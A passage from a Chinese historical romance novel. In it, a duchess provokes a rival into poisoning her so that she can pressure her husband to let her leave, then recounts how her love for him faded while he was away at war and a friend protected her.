“四个美人?”不提冬娘,就连听到消息的沈怀栀也第一时间持怀疑态度,“你是说,礼安给他的父亲,送了四位美人?” 还是从前是大家闺秀的一些罪臣之女? “不止如此,”冬娘深吸了口气,神情微妙的道,“以奴婢看人的眼力,那几位美人,身上总有一二之处同夫人相像。” 这下子,沈怀栀倒是真的来了几分兴趣。 以她对自己宝贝儿子的了解,这孩子不管有什么打算或者做什么举动,目的肯定都不是想要伤害她,但送美人给薛琮这个举动,还是送同她相似的美人,不得不说,确实让人称奇。 “夫人,您要见见世子吗?”冬娘问。 沈怀栀摇摇头,面上好奇有,哭笑不得也有,最后只道,“暂时不必了,我倒想看看,这孩子打算做些什么。” “你去着人安排好那些美人,”想了想后她又道,“若是大人有意,有些事该安排也要安排。” 冬娘领命而去,很快安排好了四个美人,总之无论国公大人对这几个美人有意无意,她们夫人都进可攻退可守。 因着府中生出的这点微小波澜,这晚薛琮回来得很早,甫一见沈怀栀,他面色便不太好看,不知是因为儿子的这一步臭棋,还是为妻子面上的若无其事,总之,薛琮的冷脸与不善,是个人都看得出来。 “这就是你的养的好儿子,”薛琮冷声道,“当真是给了他的父亲好大一个惊喜。” 沈怀栀神情平淡的看他一眼,不紧不慢的道,“礼安确实是个好孩子,他只是为父分忧愿你红袖添香而已,他有什么错?” “纵然这美人个个有几分似他母亲?”薛琮忽然低笑一声,那笑声像是从冰窟深处凿出,惊得外间伺候的人忍不住打了个寒颤,“我们的好儿子,到底是在羞辱我,还是在羞辱你?” 对方的愤怒是如此强烈直白,沈怀栀却依旧平静,“如果这就算羞辱的话,那礼安的功力,远不及你。” 这话让薛琮沉默了一瞬,但沉默过后,他给出的回应并不是反思与辩解,而是—— “如果要论家学渊源的话,那夫人才是个中翘楚。” 总之,他们两个在彼此伤害彼此背叛这件事上,半斤八两罢了。 沈怀栀如今是丝毫不会愧疚退却的,因而她只是冷冷的看了丈夫一眼,漠然道,“既然美人像我让你如此生气,那就让礼安去寻几个神似太后娘娘的美人好了,总归,不管美人像谁,都不会委屈了大人您。” 一片死寂中,薛琮忽然道,“真珠,论惹我生气的本事,你当真是无人能及。” 闻言,沈怀栀默然不语,半点没有反驳的意思。 “有时候,我真是分不清你到底是在装傻,还是真傻,”薛琮冷漠又低沉的声音响起,“李玉瑶算个什么东西,值得你一次又一次的在我面前提起,你到底是真信还是假信,只有你自己知道,但我清楚的是,你怕是十分希望我能够移情别恋,好让你彻底解脱。” 对于薛琮的直白,沈怀栀没做评价,她只是道,“有些事情真假如何没那么重要,我只需要知道我们如今已成怨侣,不适合在一起就够了。” “怨侣……”薛琮品味着这个词,忽然觉得好笑,“真珠,怨侣又如何,诚如你所说,有些事其实没那么重要,我只要你不管生死都是我的人就足够了。” “你该清楚的,我的本事和权力。” 沈怀栀当然清楚,正因为清楚,所以知晓蚍蜉撼树是个什么结果,但如果简简单单的就向命运妥协,她也不会是如今的自己。 这天晚上,两人到底是不欢而散了,但美人事件引起的风波却并未平息,更甚者,因为有些人的推波助澜,整个国公府开始变得热闹了起来。 如果说儿子献美只是给了沈怀栀一个灵感与机会的话,当她以国公府主母的身份开始介入,一切就变得有趣了起来。 她当真如自己所说,借着薛礼安的手又寻了几个同太后有些相似的美人入府,不同风格的美人们被凑在一处,还个个被人为的养大了野心与胆子,国公府的日子如何能不热闹。 每日里,她闲暇时都能从冬娘那里听到那些美人们都做了什么,那些心机与手段,便是她都自叹弗如,惹得她忍不住同冬娘道,“看来我前些年当真是过了些好日子,若是让我早早碰上这些人,只怕骨头渣子都被算计干净了。” “夫人同她们,并不是一路人。”冬娘道。 这世间人生来分三六九等,一样米养出百种性情,夫人命好不是错,那些人为了自己的野心筹谋也不是错,但总归,世间女子多艰,却是真真切切的。 “我给了她们机会,希望她们能把握吧。”沈怀栀无意兴风作浪,她只是希望这些美人能入了薛琮的眼,好让她有机会摆脱他。 她如今同薛琮是怨侣,只奢望能干干脆脆清清静静的分开,若有人能转移薛琮的注意力,她求之不得。 更何况,人至中年的普通夫妻,早不必谈什么感情了,利益与儿女无损,已然是最好的结果。 不过,这世上有句老话叫做最难消受美人恩,在外忙碌的薛琮自从每日回府都要遭遇些无福消受的美人恩后,这日子已然过得同飞来横祸没什么区别了。 那些形形色色的女子,各有各让他厌恶的理由,同妻子相像的,他觉得愤怒羞辱,每每看到就有杀人的冲动,而同李玉瑶相似的,更是看到就打心底里觉得厌恶,恨不得全都灭个一干二净,如此种种,已然让薛琮的怒火蓬勃到了极点。 但沈怀栀却是不允许他对这些人动手的,她护人护得厉害,以致于薛琮连忍几天后,怒火终于彻底爆发。 他难得有一次冲到沈怀栀面前,厉声斥责痛骂她,“枉为人妇!” 至于被斥责痛骂的本人,则神色安然的坐在那里闭目养神,沉默不语的模样看着像是逆来顺受,实则没有半点打算悔改的模样。 薛琮生完气,见妻子如此做派,突然没了继续的心思,他既然允许放任了她的任 性与肆无忌惮,就不该为此动怒。 但这些日子里那一桩桩一件件都在证明她对他再无心意的事件,到底还是伤到了他。 人只有被自己在意的人与事伤到时,才会无法忍耐无法自控,很显然,就算明知道会触怒他伤到他,她依旧选择不罢手。 薛琮一直知道,沈怀栀握着能伤他的那把刀,可刀是他亲自放进她手里的,他对她又从不设防,便也只能忍受这种痛苦与不甘。 人甩袖去了前院书房后,侧间里,薛礼安轻声走出,看向了母亲,“我不曾料到,您会做到如此地步。” “和你父亲的手段比起来,母亲功力尚且浅显得很,”沈怀栀看向儿子,“再者说,这难道不是你期望的结果?” 亲手点燃父母之间矛盾的引线,激化矛盾,不正是她这个宝贝儿子的本意? 闻言,薛礼安沉默许久,“我只是希望您能达成所愿,但并不想……” “并不想伤害你父亲?”沈怀栀淡淡道,“放心,你父亲可不是那么脆弱的人,你有功夫在这里心疼他,倒不如担心一下自己。” 以某些人的睚眦必报,亲儿子又如何,让他跌了这么大个跟头,少不得要吃点苦头和教训。 最后,薛礼安忧心忡忡的走了,他突然发现,母亲作为父亲的妻子,能和他安稳过上这么多年不是没有道理的,或许母亲并没有他想象中那么弱势。 *** 沈怀栀对薛琮的步步紧逼,到底是有些效果的,只不过这些效果还尚未在他身上有何作用,她自己倒是先一步做了被殃及的池鱼。 身体的异样来得极其突然与快速,她不过是午膳之后小憩了一会儿,就在冬娘惊恐的眼神中脸色惨白的呕了几口血。 头脑昏沉之际,她勉强同冬娘对视了一眼,随后便彻底昏迷过去。 这场突如其来的意外足足让沈怀栀昏迷了一天一夜,而在这一天一夜里,整个帝京的局势都为此紧张起来。 恢复神智醒来时是在半夜,浑身酸痛的沈怀栀感觉着自己僵硬如石的身体,朝身旁投去了视线。 薛琮正半靠在床边闭目养神,看起来似乎守了她有一段时间,沈怀栀尝试着起身,身体刚有所动作,原本闭着眼的人立时醒了过来。 她这才发现自己同薛琮的手握在一起,也不怪对方这么警醒。 “醒了?”薛琮率先开口,收回手离开床边去端了盏温水过来,“别急着说话,先喝口水润润喉。” 察觉喉间苦涩与干哑,沈怀栀没逞强,从善如流的让薛琮给自己喂了水喝,等喉间不适缓解许多后,她这才哑声问道,“说说吧,我这到底是什么情况?” 薛琮目光定定的看着她,缓缓道,“你中毒了。” “中毒?”沈怀栀仿佛有些意外,“下毒的人是谁,有线索吗?” “动手的人是李玉瑶,”薛琮冷声道,“她买通了府里的人对你动手,若非下药的过程中出了些意外,你摄入的药量小,恐怕如今你我早已天人永隔。” 沈怀栀静静的听着薛琮的话,仿佛在消化这些惊人的消息,许久后,她才神色冷然的道,“薛琮,太后娘娘之所以要对我动手,是因为你。” 隐含怨怪与指责的话就这么被一一道出,“如果不是你,我不会遭遇这种无妄之灾。” “所以,害我的人除了李玉瑶之外,还有你。” 以薛琮对沈怀栀的在意,这样一番话本该是让他极其难受的,然而此时的他坐在这里,面上似乎并无多少被刺伤的羞恼与难过,反而是一片早有预料的冷然。 “真珠,你真是太沉不住气了,”他如此回复她的指责,“还是说,你本就丝毫不打算遮掩自己的算计。” “什么算计?”沈怀栀道,“你是说我被害中毒这件事吗?” “被害”两个字咬的重音让薛琮歇了逼问的心思,事情真相原原本本的摆在那里,他一清二楚,沈怀栀也心知肚明,又何必再深究。 总归,他们两个人在意的事情从来都不同。 薛琮很清楚沈怀栀的打算,也终于明白她前段时间一改本性非要咄咄逼人的原因,她不止是为了动摇他让他难受,更多的,还是为了诱导李玉瑶动手。 果然,她成功的利用了一个女人的贪欲与嫉妒心,得到了想要的结果。 现在,他坐在她面前,能给她的不是什么安慰与保证,而她也并不在意那个害她的人会有什么下场,她的全副心神都只放在了一件事上—— “薛琮,我要离京。”沈怀栀如是说,图穷匕见。 “如果这就是你的目的的话,”薛琮顿了顿,“那很可惜,我并不会允许。” “是吗,你不允许?”沈怀栀看着自己的丈夫,突然笑了一下,“在你差点害死我之后?” 闻言,薛琮的心陡然猛跳了一下,语气也开始变得不善起来,“真珠,你是在逼我?” “这算逼你吗?”沈怀栀笑着反问道,“要知道,中毒的可是我,而不是你啊。” “我大约只是想让你知道,我为了达成目的,能有多少决心吧。” 至此,薛琮终于明白沈怀栀的打算。 只要他不妥协,她就会用更过激的手段来逼迫他让步,而她显然很清楚自己在他心中的分量,不管是利用他的愧疚也好心疼也罢,只要能达成所愿,她会开始无所不用其极的来同他斗。 薛琮想,他确实小瞧了沈怀栀的决心与意志,而他也确实做不到无动于衷。 她很精准的抓住了他的软肋,即便有些事需要违背自己的本性,她现在也愿意去做。 “我需要时间考虑。”最后,薛琮如此说。 说起来,对本性强硬的薛琮而言,这已经称得上是退让了,但沈怀栀本人对这个结果显然是不满意的,因为,当下的她选择了得寸进尺乘胜追击。 “薛琮,我已经退而求其次没提和离了,可你看,你总是让我失望。”沈怀栀轻描淡写的道,“不管是从前还是现在,你总是一直让我失望。” “只是被下毒而已,又算得了什么呢,和你过去那些仇敌相比,李玉瑶已经算得上是心慈手软了。” “不过,我总是因为你陷入危险这件事,却是一直未曾变过的。” “所以,早在很久很久之前,嫁给你就是我最后悔的一件事了。” 第60章 第60章前世梦境八 毫无疑问,后悔嫁给他这句话,切切实实的在薛琮心上又戳了一刀。 他神情晦暗的坐在那里,满脸风雨欲来的戾气,似乎在极力控制自己的情绪。 但沈怀栀却对这点儿忍耐视而不见,她只是神色平静的道,“事到如今,你我之间早已一片狼藉,所以有些话也不必再藏下去了。” “我猜你并不想听我是如何红杏出墙移情别恋的,但我想,我也是时候告诉你,我对你的失望是从多久以前开始,直到现在才同你提分开,又是忍耐了多久。” “后悔……失望……忍耐……”薛琮轻声道,“真珠,你当真是太清楚该如何伤到我了。” “这就算伤到你了?”沈怀栀面上多出两分嘲讽,“那我们国公大人这颗心还真是脆弱得很。” “只可惜,我不会有半分抱歉,毕竟,从我嫁给你开始,我这颗心早就被伤透了。” “当然,不止这颗心,我这个人,也早就因你吃够了苦头。” 闻言,薛琮怔怔,他的妻子第一次以如此明确且轻飘的口吻向他提及过往苦痛,他的心突然为此颤了两颤,几乎有些不敢听她接下来的言辞。 然而,沈怀栀既打算开口,就绝不会允许她唯一的听众逃避,为了抓紧这唯一的看客与听众,她甚至愿意温柔的待他,只为了不让薛琮临阵而逃。 “当年,我嫁给你时,是极为欢喜的。” 以这句话为开端,沈怀栀开始一点点道出那些薛琮不曾知 晓的过往。 现在回头看,年轻的自己是轻狂且无知,天真且莽撞的,但那就是年少时候的沈怀栀,谁都可以嘲笑她,唯独她自己不可以。 她多少也称得上是聪明,知道自己在沈家无人可依,所以为了摆脱祖母对婚事的算计,总要给自己寻上一条出路,毕竟那对双亲从来不怎么在意她。 想要有人爱,想要有一个可以安心的家,就是那时尚且年少的她最想得到的东西了,而这些期望与冀求,随着少女的春心萌动,尽数落到了那时的薛琮身上。 沈薛两家最后定下婚事,不得不说,是她人生至此的一个转折点,因为一桩婚事,她从沈家的沈怀栀,变成了薛家的薛沈氏。 从此之后,她将冠以心爱之人的姓,和他共同组成一个属于他们的小家,从此夫妻相伴,生儿育女,彻底填满她曾经空缺的人生。 嫁给薛琮,对那时的她来说是多么圆满的一件事。 成婚前是期待的紧张的,成婚时是甜蜜的圆满的,她本该从此幸福与满足,然而,真正的婚姻终究是和少女想象中不同,它除了甜蜜之外,还有许多亟待品尝的苦涩。 她从沈怀栀变成薛夫人,自此成为了薛琮生活中的一部分,她的夫君仿佛只是短暂的对她心软,新婚的甜蜜消失后,他就又重新变回了那个始终对她冷酷的男人。 薛琮总有很多事情要忙,而她就这样一日日的变成了他生活里的一个摆件与装饰,见到了看两眼,没见到也不会惦念,好似没有半点值得另眼相待的特殊之处。 也是在那时,沈怀栀第一次发现,想象与现实之间存在着巨大的差距。 于是,曾经少女情窦初开之后执迷不悟的喜欢,在现实的婚姻中渐渐的变了模样与味道。 但她依旧是喜欢薛琮的,只是这份喜欢不再是少女与心上人,更多的变成了妻子对丈夫的喜欢,在曾经纯粹的心意之外,更重要的那层价值在乎于彼此的身份。 你看,妻子喜欢丈夫,听起来就有种理所当然天经地义的味道,大约是从那时候开始,沈怀栀在自己都未曾察觉的地方,逐渐随波逐流泯然于众人,开始成为一个好妻子。 如果生活就这样普通平淡的过下去,在潜移默化中她就这么习惯身份的转变,调整好属于自己的心情,沈怀栀毫无疑问会变成薛琮理想中不会给他添麻烦,能够相敬如宾的贤妻良母。 但显然,命运是爱和人唱反调开玩笑的。 薛琮自己亲手斩断了这种可能。 那时候,他们夫妻关系平顺,彼此之间从无争吵矛盾,和这京中贵胄世家的无数夫妻一样,看起来体面和谐得很。 直到沈怀栀从别人口中听说了薛琮在朝堂上请战边疆的事。 那时外面的消息早已传得沸沸扬扬,而她这位薛夫人,薛琮的枕边人,却是从他人口中得知自己的丈夫即将启程西北奔赴战场的事。 由此,有了婚后两人第一次吵架。 不过,以她和薛琮的性子,说是吵更多的是冷战,她质问,薛琮沉默,偶尔回两句,也显得轻描淡写,仿佛这件事不告诉妻子并没有多么严重。 沈怀栀第一次在薛琮面前发那么大脾气,愈发显得她沉默的丈夫是多么的冷漠与被动,他只是由着她发泄情绪,大约是想等她恢复冷静后再摆出理智清醒的姿态深谈。 然而沈怀栀没给他这个机会,她在自己的情绪彻底失控前,拂袖而去。 薛琮的眼里有许多不赞同,约莫是觉得她太过情绪化,有失体面与理智。 但在沈怀栀心里,这桩看起来不过是一件小事的矛盾,却彻底敲响了她沉浸在平顺婚姻中的警钟。 薛琮请战边疆这件事她无意阻拦,男人为了野心谋求建功立业并没有什么错,只可惜,从头到尾,她的丈夫从不曾和她商量过一言半语,就这样决定了一切。 即便她是他的枕边人,是他要相伴一生的妻子,未来更会是风雨同舟生儿育女的唯一伴侣…… 沈怀栀终于在现实的婚姻中跌了一个大大的跟头,她开始有了第二次的伤心,这一次,比起从前那次少女心碎的轻薄伤心,终于多了沉重和苦涩的味道。 因为,她发现,就算两个人成了亲,成为这个世上最亲密的夫妻,彼此之间依旧隔着遥远的距离。 或许也是因为,薛琮,她的丈夫,自始至终从未想过和她两心相照。 沈怀栀依旧是孤独的。 即便她看起来有了家,有了丈夫,但她依旧是不被爱重和选择的。 所以,这一次,她是真的伤心了,由衷的伤心,因为她察觉了自己的失败,明白了自己的无力。 天真的姑娘终于明白,在一段感情里无能为力是多么的痛苦,而这份痛苦在婚姻的加持下又会有多伤人。 年轻的沈怀栀只能沉默着接受这份痛苦,消化这份痛苦,她也希望自己能像薛琮那样轻飘飘的揭过一切,但很可惜,她做不到轻松释怀。 最后,看起来就是一对夫妻冷战良久,而在薛琮出发前,她好似才终于调试好心情,能够平静如常的以妻子的身份送别她的丈夫。 离开那天,薛琮看起来像是想对她说些什么,但沈怀栀等了许久,直到人彻底离开,她都没等来一字半语。 而失望这种事,一旦遇上合适的人,就从来不会有尽头,只会无数次的叠加。 恰好,薛琮对沈怀栀来说,就是这样的人,即便年轻的她还一无所知。 *** 人总是要在磨砺中学会成长的。 重新认清自己的生活是女子嫁人之后都要学会的一课,沈怀栀亦如是。 生活的苦于她而言是能够看清能被解决的,她确实如薛太夫人所预料的那样,做好了薛家的主母,做好了薛琮的贤内助,但关乎感情上,她却有太多坎坷艰难不能释怀。 幸而,就在她重新摆正心态调整心情适应婚姻的时候,在薛琮离京的第二个月,她被诊出了身孕,孩子的到来给她带来了生活的新希望。 在沈怀栀心里,她是没有真正的亲人的,即便现在嫁给了薛琮,事实证明,在他身上她依旧得不到自己奢望已久的东西。 但孩子不同,他诞生于她,身上流着她的血脉,从一开始就是她毋庸置疑的亲人。 那是一种很难用语言表述的感觉,初为人母的沈怀栀,怀揣着无尽的喜悦,欢迎这个孩子的到来。 这本该是很幸福的一段日子,奈何京中形势不稳,老皇帝的疑心病愈发严重,而早已长成的皇子们个个觊觎着君父的无上权势,即便薛琮此时身处边疆,也掩盖不了薛家早已被卷入夺嫡之争的事实。 京城之内,永嘉侯府的处境并不好,来自外界的压力就这样一重重的叠加而来,让沈怀栀的孕期开始变得艰难无比。 纵然她心里觉得无比喜悦,也改变不了身体日日受累的事实,大约她并不是适宜孕育的体质,怀胎之后有了诸多不便与艰难,本就艰难的孕程放大了许多负面情绪,纵然她想要做个好母亲,拼命和本能对抗,但承受着的痛苦依旧与日俱增,她只能靠自己扛起一切,在这个过程中艰难的蜕变成长。 而远在边疆的薛琮,除了寥寥几语的书信,再派不上半点用场,而即便在信中,他也少有温言软语,仿佛和她无话可说。 至此,沈怀栀突然发现,她的所谓丈夫与心上人,在与不在,有他没他,好像也没那么重要。 毕竟,就算他 在她身边,也不会是一个怜爱疼惜妻子的丈夫。 更甚者,他或许连他的友人都不及,至少在薛琮将薛家和她托付给陈理的这段日子里,对方切切实实帮了她许多,做了她强有力的后盾,为她难熬的孕期减轻了许多负担。 沈怀栀难免要感叹一二,她这位好友着实让人意外,没想到竟是个能做人好夫君的苗子。 日子就这样如流水般逝去,直到随着宫中老皇帝突然病重的消息传出,整个京城开始陷入风声鹤唳的境地,皇子们争权夺势引发的权位之争终于使得危险波及京中贵胄。 危险忙乱的情境中,怀相本就不太好的沈怀栀就在某天夜里突然发动了,那时候侯府的门外还守着不知哪位皇子的兵马,虎视眈眈的以此威逼着边境掌军的薛琮。 时隔久远,沈怀栀早已记不清那天夜里的兵荒马乱,但她清楚的是,在她最痛苦最无助的时候,是陈理冒着风险来帮她救她。 他手持长剑站在门外,宛如一个丈夫保护妻子那样守着她护着她,做她心里的定海神针,为她遮风挡雨阻隔危险。 痛到晕厥过去之时,她第一次生出大逆不道的念头,如果当初她心动的人是陈理就好了。 昙花一现的念头看似过水无痕,但早已为日后种下因果。 挣扎在生死之间的沈怀栀,在漫长的阵痛之后,生下了她和薛琮的第一个孩子,而她,也由此开始,从一个青涩天真的姑娘长成一个成熟理智的大人。 她终于放弃去渴求别人施舍的爱,不再怀抱奢望,开始学着好好爱自己。 60-63 第61章 第61章前世梦境九 京中乱局因着老皇帝病重无力维持局面持续了许久,斗得如火如荼的皇子们终于不再收敛,开始对着骨肉兄弟下狠手,朝堂上大臣们也随之争执不休,各方势力迅速行动,诸如下毒、陷害、兵变等手段层出不穷,也因此产生了三皇子被毒杀、四皇子被刺、五皇子遭人伏击、七皇子落马等诸多乱象。 乱象频出之时,众多皇子中四皇子最先按耐不住发动兵谏,根据事后京中所传消息,据说四皇子在御药房埋下暗桩掌握皇帝脉案,暗中指使太医给皇帝下毒,在皇帝病重之时带兵动手围困紫宸宫,屠戮了不少朝臣与皇室宗亲,借此威逼君父传位。 若是不出意外的话,四皇子也算是谋得先机乱中取胜,只可惜中途疑似被五皇子的人提前截获密信,对方打着螳螂捕蝉黄雀在后的主意,成功在四皇子借机发难的过程中渔翁得利,一举灭掉了好几位强有力的竞争对手,而四皇子本人,其私下豢养的私兵更是暗中被五皇子的人马策反不少。 至此,老皇帝生死攸关之际,五皇子带人设伏绞杀大逆不道的四皇子等一干乱党,成功解救君父于危难关头,当他在黎明时分踏着兄弟们的鲜血走进紫宸宫时,重病许久的老皇帝躺在龙榻前,手边早已备好了传位于这个儿子的圣旨。 而在此期间,沈怀栀作为侯府家眷,抱着刚生下的宝贝儿子度过了一段极其艰难的时光,皇子们的乱战引发的血腥事件层出不穷,她也曾几度陷入危险之中,如果不是有陈理相护,她和新生的孩子或许根本等不到薛琮这个丈夫的归来。 京城夺嫡之争平息后,老皇帝再不堪重负,身体彻底垮掉,五皇子这个被指定的太子人选和未来新帝人选,也算是在零散凋落的兄弟们中脱颖而出,成为最终的赢家。 而随着朝中大事抵定,新君人选确切无疑,这京中持续许久的乱象也渐渐平息,稳定朝局后,不久西北边关传来大捷,一时间这消息可谓是振奋人心,给晦暗混乱了许久的京城送来了新气象。 沈怀栀抱着儿子站在窗前,朝着西北方向眺望,她的丈夫终于要回京了,不管她如今对他的感情如何,多少还是期待他的归来的。 诚如她所想,在老皇帝龙驭宾天之前,薛琮携着西北大胜的消息归京,和即将登位的新帝一起,送走了这位掌权多年的先帝。 国丧伊始,五皇子灵前即位,主持了先帝的丧仪,此后,朝堂中尽是属于新帝的新气象。 等薛琮处理完一切回府时,看到的是抱着孩子同太夫人一起迎他归家的妻儿与祖母,尽管他风尘仆仆满面疲累,此刻也忍不住对他们露出满含温情的眼神。 沈怀栀想,或许这样也就够了,毕竟,奢求太多的话,迎来的只有失望,相敬如宾的夫妻没什么不好,这样的日子她同样能过。 她是这么安慰自己的,即便心中还有微末不甘,也如同从前一样习惯性的压在心底,再不与人言。 然而,命运待她有时总不会那么温柔,或者说,是她的丈夫薛琮待她不够温柔才是。 极其普通平淡的一天,她无意间从薛琮口中得知,京中大乱时,对方曾经趁乱回过京城,说巧不巧,正是她挣扎在生死边缘努力生下孩子那天,薛琮纵然知晓消息,也没来见她和孩子,而她也对丈夫的归来一无所知。 知道这些时,沈怀栀有过短暂的晕眩,但很快的,她就用超乎自己意料的平静态度接受了这个事实。 薛琮对她大约是有些愧疚的,难得温言软语了几句,待她是少见的温柔与温情。 她默默的接受这些,宽容大度的如同最贤惠体贴的妻子,将这点夫妻间的嫌隙尽数抹平,但那之后,她难得邀请陈理出来见了一面。 有些事,她不想去问薛琮自取其辱,但她觉得或许能从陈理这个好友嘴里得到答案。 “事情既已过去,或许也不必追根究底。”陈理如是劝说道。 这话确实有两分道理,但沈怀栀向来是个执拗的人,她宁愿直面残酷的真相,也不想稀里糊涂的被蒙在鼓里。 于是,她得到了自己追求的真相。 她的丈夫薛琮,在那次趁乱回京之时,见过老皇帝,见过盟友,见过太夫人,甚至见过不相干的外人,然而这么多人之中,唯独没有她和孩子。 沈怀栀想,人的欲望与野心真是一以贯之的残酷,她很早之前就从双亲同沈老夫人身上明白的这个道理,今日又尝到了一次教训。 至此,她终于没了那点自以为是的少女妄想。 她突然就能清醒且清楚明白的看薛琮,以妻子看丈夫,以女人看男人,唯独不是姑娘看心上人。 少女最后一点残存的情意,终于死在了秋天落叶凋零的日子里。 沈怀栀想,如今的她终于如薛琮所愿,能够成为他想要的相敬如宾的贤妻良母了。 这就是她那一段曾经喜欢过薛琮的人生。 薛琮听完这一切,几次欲言又止,最后终究选择了缄默不言。 “我知道你想说什么,”沈怀栀平静道,“你的为难,你的理由,一向是有很多的,我该体谅你理解你的。” “但我早已决定做个自私的人,自私的人只在意自己就好,别人的为难我不想理解太多。” 毕竟,那时候只有她自己能好好爱自己。 “况且,不管我心里如何想,我自问对你对薛家,是仁至义尽的,我做好了一个妻子的本分,自问无可指摘。” 这点薛琮自是认同的,如果不是她做得太好,他也不会对她移情别恋陈理的事如此震怒崩溃。 他以为她的好是出于情出于爱,实则不然,可恨他竟然一叶障目多年,竟没发现其中真相。 莫名的,他突然想起多年前的一件小事,某日月下赏花时,她突然以自己生产伤了身体为借口,提出为他纳妾的事,那时候他以为这是她某种欲迎还拒的试探,现在再回想,其实并不是,那时候的沈怀栀,是真心实意的愿意他另抱佳人。 至于后来她不再提起这些,理由也很简单,她愿意为了她的孩子们得到所有美好贵重的一切而筹谋。 就像现在,孩子已不再是拖住她脚步的负累,她不再担心自己同他分开会损伤孩子们的利益 ,所以她有足够多的时间与筹码来和他抗争,为自己获得渴望许久的自由。 是的,薛琮已经彻底明白了,沈怀栀坚持同他和离的目的。 她不是为了心里念着的陈理才要离开他,也不是因为充满怨怼或恨意在耍弄手段与心机,她只是单纯的想要摆脱他和薛家这个困住她的枷锁与牢笼,作为沈怀栀得到最大限度的自由。 自由,薛琮咀嚼着这两个字,说到底,她就是想摆脱他抛弃他,即便是一对儿女也不能阻挡她的脚步,动摇她的意志…… 莫名的,薛琮竟然有些想笑,你看,这就是祖母当年预言过的,他们流着崔氏血脉的人终究会被所爱之人抛弃,就像祖父抛弃祖母另有所爱,父亲为了心爱之人逼疯母亲,他似乎也会被沈怀栀这个人逼到绝境。 “我当真是没想到……”薛琮缓缓开口。 没想到什么?大约是没想到她早在那么久之前就对他失了情意。 “怎么会没想到呢?”沈怀栀的言辞轻描淡写极了,“这难道不是这桩婚姻里你最想要的东西吗?” “你看,你是我的丈夫,是孩子的父亲,而我作为你的妻子,为你打理家宅后院,为你镇守后方,彼此相敬如宾,相护扶持着走过这许多年,这样的结局无论如何都称不上坏。” “至于,我是否心爱于你,当年你不在意,现在也不该在意,毕竟,就像你曾经说过的,感情这种事情真的是多余又无聊。” “虽然对现在的你来说有些麻烦,但我相信,以你的秉性,很快就能放下这些,我们自然可以好聚好散。” 闻言,薛琮的第一反应却是轻笑出声,“真珠,你总是这么天真。” 尤其是在不合时宜的时候怀有不合时宜的天真。 沈怀栀没反驳,只是平静道,“薛琮,我们不一样,我想走,是一定要走的。” “区别只在于,你能不能拦下我。” 薛琮能吗?他当然能! 只要他想,他就能把她困在身边一辈子,只要他不在乎她的安康与喜乐,只要他狠得下心,强取豪夺威逼利诱而已,什么手段他不会,什么手段他使不出来? 即便这样做的代价是换来她的怨怼与憎恨,会让她心底那个人的影子越来越刻骨铭心。 只要他能接受她自此之后将会和陈理之间拥有至死不渝的爱。 有那么一瞬间,薛琮真想不管不顾的毁了一切,但当他对上沈怀栀清凌凌的双眼时,却发现自己不能接受彼此玉石俱焚的结局。 他不允许她心底陈理的影子镌刻的越来越深,不允许她的爱永远只属于一个早已死去的人,更不允许自己此后和她要么形同陌路要么只余憎恨。 沉默的每一秒,时间似乎都拉得很长,在漫长煎熬的沉默过后,薛琮终于再度开口,“好,我可以放你走。” 他沉沉的盯着沈怀栀的眼睛,语调幽暗,“只要你告诉我,你和陈理之间,到底是怎么回事。” 他要亲耳听一听,她到底是如何爱上陈理的。 日后,他好亲手毁灭这份悖逆的爱情。 第62章 第62章前世梦境十 “你得承认,陈理本身就是一个很好的人。” 薛琮听到他心爱的妻子如是说,他多想对这句话嗤之以鼻啊,但在她温柔如水的眼神里,他最终只能沉默的点了下头。 是啊,陈理确实是一个很好的人,一个很好的朋友,要不然他也不会将心爱之人托付给这个朋友照顾,直到发现陈理那点觊觎友人之妻的隐晦心思前,他在薛琮心里,都是他最好最值得信赖的朋友。 偏偏,就是这个最好的朋友,背叛了他们之间的信任与友谊。 “陈理帮过我很多次,”沈怀栀轻声道,“如果细数的话,大概是你都想不到的许多许多次。” 薛琮强忍住开口嘲讽的冲动,只面色阴戾的坐在那里,宛如极力压制暴怒的野兽。 他亲耳听着妻子的诉说,只觉现在这每一分每一刻都难熬到犹如刮骨利刃。 对沈怀栀来说,陈理实在是一个合格且称职的朋友,他性情明朗,风度翩然,虽说看起来有些风流浪漫,但实则是个很有分寸感与边界感的人,也或许是因为自小养在道观长大的缘故,天性中还有一种真诚的豁达与爽利,同这样的陈理相处起来,很难不成为交心的好友。 她还记得许多年前两人一次极为偶然的谈话。 那时她和薛琮刚成婚,感情还算不错,一起陪同太夫人出游时遇到了出外散心的陈理,这个据说是被家里逼婚的年轻公子,打着被逼婚就出家的旗号,为自己谋得了一段闲暇光阴,正好不惬意的在佛寺里品尝美味素斋。 两人在寺庙中桃花林里的凉亭中偶遇,就此坐下闲谈饮茶,闲话时提到今日僧人俗讲所说的地藏菩萨渡母,对父母有心结的沈怀栀突然就陷入了沉默。 关于父母与亲情一事上,她拥有的实在是乏善可陈,渐渐地便也养成了对此话题的漠视与消极心态,陈理一向细致贴心,大概是不忍见她落寞消沉,突然间说起了自己的事。 “《左传隐公元年》中记载,庄公寤生,惊姜氏,故名寤生,遂恶之,”陈理以一种简单轻快的语气道,“郑庄公因为寤生被亲生母亲厌恶,倒是和我有几分相似。” 听到这些,沈怀栀心情讶异又复杂,好友当面自揭疮疤,饶是她对此心有芥蒂,也不免出言劝阻一二,“你不必……” 陈理笑着摇摇头,抬手给彼此斟满茶水,“没什么,都是些陈年往事罢了,也没多少人知情。” “外面传言说我小时候身体弱,所以需要送到道观寄养,这话虽然不假,但也有一二特殊内情,譬如我母亲当初生我时极为艰难,因为寤生对我有所不喜。” 天底下的不幸总是多种多样的,同为生母不喜的孩子,沈怀栀此时不免对好友生出几分共情之心。 见状,陈理温和笑道,“我小时候调皮,养在师父膝下,总有许多繁琐为难他,师父性情通透,纵然我只是个不懂事的孩子,他也少有隐瞒糊弄,许多事情与道理都愿意一五一十的教导我。” “我有一番话,师父当年说与我听,今日我也说给我的好友沈姑娘听,愿她也能同我当年一般,被开解几分。” “既如此,我洗耳恭听。”沈怀栀如何能不接受这来自好友的诚挚善意与心意,立时摆出认真的姿态倾听。 陈理认真道,“师父说,这世上百样米养百样人,人人皆不同,性情不相似,既有一些爱子如命满腔慈父慈母心肠的,自然也会有心狠绝情卖儿卖女的,不是每个孩子都能有幸遇到愿意疼爱儿女的父母。” “你看,父母对待儿女,也如这世间诸多人情百态一般,有心爱的,有厌恶的,有被卖的,有被偏爱的,既然许多事强求不得,只当是这辈子父母缘分浅了些罢了,又或许说不定上辈子你欠了他们许多债,这辈子要来还呢。” 缘分…… 沈怀栀听完这番话,一时沉默不语。 